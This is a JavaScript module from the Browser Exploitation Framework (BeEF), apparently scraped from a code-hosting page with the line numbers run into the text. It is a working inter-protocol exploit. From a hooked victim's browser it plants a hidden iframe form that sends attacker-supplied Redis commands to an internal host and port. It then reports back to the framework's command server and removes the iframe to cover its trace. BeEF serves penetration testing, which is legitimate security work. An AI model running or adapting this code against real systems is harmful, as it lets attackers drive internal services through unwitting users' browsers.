Path: blob/master/modules/ipec/inter_protocol_redis/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// validate payload9try {10var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';11} catch(e) {12beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());13return;14}1516// validate target host17var rhost = "<%= @rhost %>";18if (!rhost) {19beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');20return;21}2223// validate target port24var rport = "<%= @rport %>";25if (!beef.net.is_valid_port(rport)) {26beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');27return;28}2930// validate timeout31var timeout = "<%= @timeout %>";32if (isNaN(timeout)) timeout = 30;3334// send commands35var redis_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", cmd);36beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redis commands sent');3738// clean up39cleanup = function() {40document.body.removeChild(redis_ipec_form_<%= @command_id %>);41}42setTimeout("cleanup()", timeout * 1000);4344});45464748